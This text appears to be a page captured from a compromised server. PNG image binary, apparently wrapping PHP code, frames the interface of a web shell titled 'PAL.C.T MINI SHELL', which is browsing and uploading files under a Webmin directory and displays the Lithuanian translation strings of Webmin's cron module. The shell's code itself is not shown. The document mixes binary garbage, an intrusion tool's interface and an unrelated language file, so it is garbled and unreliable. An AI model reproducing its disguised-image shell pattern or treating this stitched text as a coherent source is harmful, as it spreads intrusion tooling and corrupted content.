php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/cron/lang/
upload
files >> //usr/libexec/webmin/cron/lang/lt.auto

index_title=Suplanuoti Crono darbai
index_user=Vartotojas
index_active=Aktyvus?
index_command=Komanda
index_when=Bėgi kartais
index_comment=apibūdinimas
index_none=Šioje sistemoje nėra „cron“ darbo vietų.
index_none2=Nėra nė vieno „cron“ darbo, kurį galėtumėte pasiekti.
index_none3=Dar neturite jokių „cron“ darbų.
index_create=Sukurkite naują suplanuotą „cron“ darbą.
index_ecreate=Sukurkite naują aplinkos kintamąjį.
index_allow=Kontroliuokite vartotojo prieigą prie „cron“ darbų.
index_manual=Neautomatiškai redaguokite „cron“ darbus.
index_return=cron sąrašas
index_env=Aplinkos kintamasis
index_move=Judėk
index_next=Kitas bėgimas
index_nunknown=Nežinoma
index_run=Bėga?
index_ecmd=Komanda $1, skirta valdyti vartotojo „Cron“ konfigūracijas, nerasta. Gal šioje sistemoje nėra įdiegtas „Cron“?
index_esingle=Failas $1, kuriame pateikiamos „Cron“ užduotys, neegzistuoja. Gal šioje sistemoje nėra įdiegtas „Cron“?
index_ecrondir=„Cron“ darbų katalogo $1 nėra. Gal modulio konfigūracija neteisinga, ar „Cron“ neįdiegtas?
index_ecrondir_create=Pabandykite sukurti darbų katalogą $1 ?
index_delete=Ištrinti pažymėtus darbus
index_disable=Išjungti pasirinktus darbus
index_enable=Įgalinti pasirinktus darbus
index_esearch=Nei vienas darbas neatitiko jūsų ieškant $1.
index_toomany2=Parodyti yra per daug darbų. Norėdami apriboti sąrašą, naudokite aukščiau esančią paieškos formą.
index_search=Rasti tinkamus „Cron“ darbus
index_ok=Paieška
index_searchres=„Cron“ darbai, atitinkantys $1 ..
index_reset=Iš naujo nustatyti paiešką.
index_econfigcheck=„Cron“ užduočių negalima valdyti jūsų sistemoje, nes modulio konfigūracija negalioja : $1 
index_stop=Sustabdykite Cron demoną
index_stopdesc=Išjunkite <tt>crond</tt> fono serverio procesą, kuris vykdo suplanuotas cron užduotis. Tai neleis komandoms vykdyti nurodytu laiku.
index_start=Paleiskite „Cron Daemon“
index_startdesc=Paleiskite <tt>crond</tt> fono serverio procesą, kuris vykdo suplanuotas cron užduotis. <font color=red><b>Tai reikalinga, kad komandos būtų vykdomos nurodytu laiku.</font></font>
index_boot=Paleisti „Cron Daemon Boot“?
index_bootdesc=Pakeiskite šį parametrą, kad įjungtumėte arba išjungtumėte suplanuotų cron užduočių demono paleidimą sistemos įkrovos metu.

edit_title=Redaguoti Cron Job
create_title=Sukurkite „Cron Job“
edit_ecannot=Jums neleidžiama redaguoti šio vartotojo „cron“ darbų
edit_details=Informacija apie darbą
edit_user=Atlikite cron darbą kaip
edit_active=Aktyvus?
edit_next=Kitas bėgimo laikas
edit_commands=Komandos
edit_command=Komanda
edit_comment=apibūdinimas
edit_input=Įėjimas į komandą
edit_when=Kada vykdyti
edit_range=Vykdymo laikotarpis
edit_mins=Minutės
edit_hours=Valandos
edit_days=Dienos
edit_months=Mėnesių
edit_weekdays=Darbo dienomis
edit_all=Visi
edit_selected=Pasirinkta ..
edit_run=Vykdyk dabar
edit_saverun=Išsaugokite ir paleiskite dabar
edit_clone=Klonas Darbas
edit_return=krono darbas
edit_ctrl=Pastaba: norėdami pasirinkti ir pašalinti minutes, valandas, dienas ir mėnesius, spustelėkite „Ctrl“ (arba „Mac“ spustelėkite komandų mygtuką).
edit_special1=Paprastas tvarkaraštis ..
edit_special0=Laikai ir datos, pasirinkti žemiau.
edit_special_hourly=Kas valandą
edit_special_daily=Kasdien (vidurnaktį)
edit_special_weekly=Kas savaitę (sekmadienį)
edit_special_monthly=Kas mėnesį (pirmą dieną)
edit_special_yearly=Kasmet (sausio 1 d.)
edit_special_reboot=Kai sistema paleidžiama
lcedit_special_hourly=valandą
lcedit_special_daily=kasdien (vidurnaktį)
lcedit_special_weekly=kas savaitę (sekmadienį)
lcedit_special_monthly=kas mėnesį (pirmą dieną)
lcedit_special_yearly=kasmet (sausio 1 d.)
lcedit_special_reboot=kai sistema batus

save_err=Nepavyko išsaugoti cron darbo
save_ecmd=Neįvedėte komandos vykdyti
save_euser=Turite pasirinkti vartotoją
save_euser2=Vartotojo '$1' neegzistuoja
save_eallow=Vartotojui „$1“ neleidžiama pasiekti „cron“
save_ecannot=Jums neleidžiama kurti ar redaguoti „cron“ darbų už „$1“.
save_enone=Nepasirinkote jokio $1 vykdyti
save_ecannot2=Jums neleidžiama kurti „cron“ darbo vietų
save_eidx=„Cron“ darbas sėkmingai išsaugotas, tačiau jo negalima paleisti, nes jo nerasta!

allow_title=Valdykite „Cron“ prieigą
allow_desc=Ši forma leidžia jums valdyti, kurie vartotojai gali kurti ir vykdyti „cron“ darbus.
allow_ecannot=Jūs negalite valdyti vartotojo prieigos prie cron
allow_all1=Neigti visų vartotojų
allow_all2=Atmeskite visus vartotojus, išskyrus „root“
allow_all3=Leisti visiems vartotojams
allow_allow=Leisti tik išvardytiems vartotojams
allow_deny=Neigti tik išvardytų vartotojų

env_title1=Redaguoti aplinkos kintamąjį
env_title2=Sukurti aplinkos kintamąjį
env_name=Kintamasis vardas
env_value=Vertė
env_user=Vartotojui
env_active=Aktyvus?
env_details=Aplinkos kintamos detalės
env_err=Nepavyko išsaugoti aplinkos kintamojo
env_ename=Trūksta arba netinkamas kintamojo vardas
env_order=Pastaba - šis aplinkos kintamojo nustatymas bus taikomas tik „Cron“ užduotims, pateiktoms užduočių sąraše pagrindiniame modulio puslapyje.
env_where=Pridėti aplinkos kintamąjį
env_where2=Perkelti aplinkos kintamąjį
env_top=Prieš visus „Cron“ darbus vartotojui
env_bot=Po visų „Cron“ darbų
env_leave=Dabartinė padėtis

exec_title=Vykdyk Cron Job
exec_ecannot=Jums neleidžiama atlikti „cron“ darbų šiam vartotojui
exec_cmd=Išvestis iš komandos $1.
exec_cmdbg=Komandos $1 vykdymas kaip foninis procesas.
exec_none=Negaunama išvestis

acl_users=Gali redaguoti „cron“ darbus
acl_all=Visi vartotojai
acl_this=Dabartinis „Webmin“ vartotojas
acl_only=Tik vartotojai
acl_except=Visi, išskyrus vartotojus
acl_control=Ar gali kontroliuoti vartotojo prieigą prie „Cron“?
acl_command=Ar galite peržiūrėti ir redaguoti „Cron“ komandas?
acl_uid=Naudotojai, turintys UID diapazoną
acl_gid=Pirminės grupės vartotojai
acl_create=Ar galite sukurti „Cron“ darbo vietų?
acl_delete=Ar galima ištrinti „Cron“ darbus?
acl_move=Ar gali perkelti „Cron“ darbus?
acl_kill=Ar gali nutraukti „Cron“ darbus?
acl_hourly=Apriboti darbus ne daugiau kaip per valandą?
acl_hourlydef=Kaip nustatyta modulio konfigūracijoje
acl_stop=Ar galima sustabdyti ir paleisti Cron demoną?

log_modify=Modifikuotas $1 „Cron“ darbas
log_modify_l=Modifikuotas Cron darbas „$2“ $1 
log_create=Sukurtas „Cron“ darbas $1 
log_create_l=Sukurtas „Cron“ darbas „$2“ $1 
log_delete=Ištrintas „Cron“ darbas $1 
log_exec=Atliktas „Cron“ darbas kaip $1 
log_exec_l=Vykdykite „Cron“ užduotį „$2“ kaip $1 
log_kill=Nutrauktas „Cron“ darbas $1 
log_kill_l=Nutrauktas „$2“ darbas „ $2 “ $1 
log_allow=Pakeista vartotojo prieiga prie „Cron“
log_env_create=Sukurtas aplinkos kintamasis $1 
log_env_modify=Modifikuotas $1 aplinkos kintamasis
log_env_delete=Ištrintas $1 aplinkos kintamasis
log_move=Perkeltas „Cron“ darbas $1 
log_crons_delete=Ištrinta $1 „Cron“ darbo vietų
log_crons_disable=Neįgalūs $1 „Cron“ darbai
log_crons_enable=Įgalinti $1 „Cron“ darbai
log_stop=Sustabdytas cron demonas
log_start=Paleido cron demoną
log_bootup=Įjungtas cron demonas paleidžiant
log_bootdown=Išjungtas cron demonas įkrovos metu

ecopy=Aptikta klaida naujoje „Cron“ konfigūracijoje: $1 $2 

when_min=kiekviena minutė
when_hour=kas valandą $1 per valandą
when_day=kiekvieną dieną $2:$1 
when_month=kiekvieną dieną $3 dieną $2:$1 
when_weekday=kas $3 prie $2:$1 
when_cron=crono metu $1 
when_interval=kas $1 sekundes
when_boot=paleidimo metu

ucwhen_min=Kiekviena minutė
ucwhen_hour=Kiekvieną valandą $1 praėjo valanda
ucwhen_day=Kiekvieną dieną $2:$1 
ucwhen_month=Kiekvieną mėnesį $3 dieną $2:$1 
ucwhen_weekday=Kiekvienas $3 $2:$1 
ucwhen_cron=Cron metu $1 
ucwhen_interval=Kas $1 sekundes
ucwhen_boot=Paleidimo metu

move_err=Nepavyko perkelti Crono darbo
move_etype=Šio darbo negalima perkelti

kill_err=Nepavyko nutraukti Crono darbo
kill_ecannot=Jums neleidžiama nutraukti šio darbo
kill_egone=Daugiau nebėga
kill_ekill=Nužudyti nepavyko : $1 
kill_title=Nutraukite „Cron Job“
kill_rusure=Ar tikrai norite nutraukti procesą $1 naudodamiesi PID $2 ?
kill_rusure2=Ar tikrai norite nutraukti procesą $1 naudodamiesi PID $2 ir visais jo subprocesais?
kill_ok=Taip, nutraukite tai

range_all=Bėk bet kurią dieną
range_start=Paleisti tik iš $1 
range_end=į $1 
range_estart=Trūksta arba netinkama pradžios data diapazone
range_eend=Trūksta arba netinkama galiojimo pabaigos data

delete_err=Nepavyko ištrinti „Cron“ darbų
delete_enone=Nepasirinkta

manual_title=Rankiniu būdu redaguokite „Cron Jobs“
manual_edit=„Cron“ failas, kurį norite redaguoti:
manual_ok=Redaguoti
manual_editing=Norėdami redaguoti „Cron“ užduotis $1, naudokite žemiau esantį teksto lauką. Būkite atsargūs, nes „Webmin“ nepatvirtins!
manual_efile=Pasirinktas failas negalioja!
manual_ecannot=Jums neleidžiama rankiniu būdu redaguoti „cron“ darbų

stop_err=Nepavyko sustabdyti demono
start_err=Nepavyko paleisti demono
stop_ecannot=Jums neleidžiama sustabdyti demono
start_ecannot=Jums neleidžiama paleisti demono
bootup_ecannot=Jums neleidžiama įjungti demono įkrovos metu
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`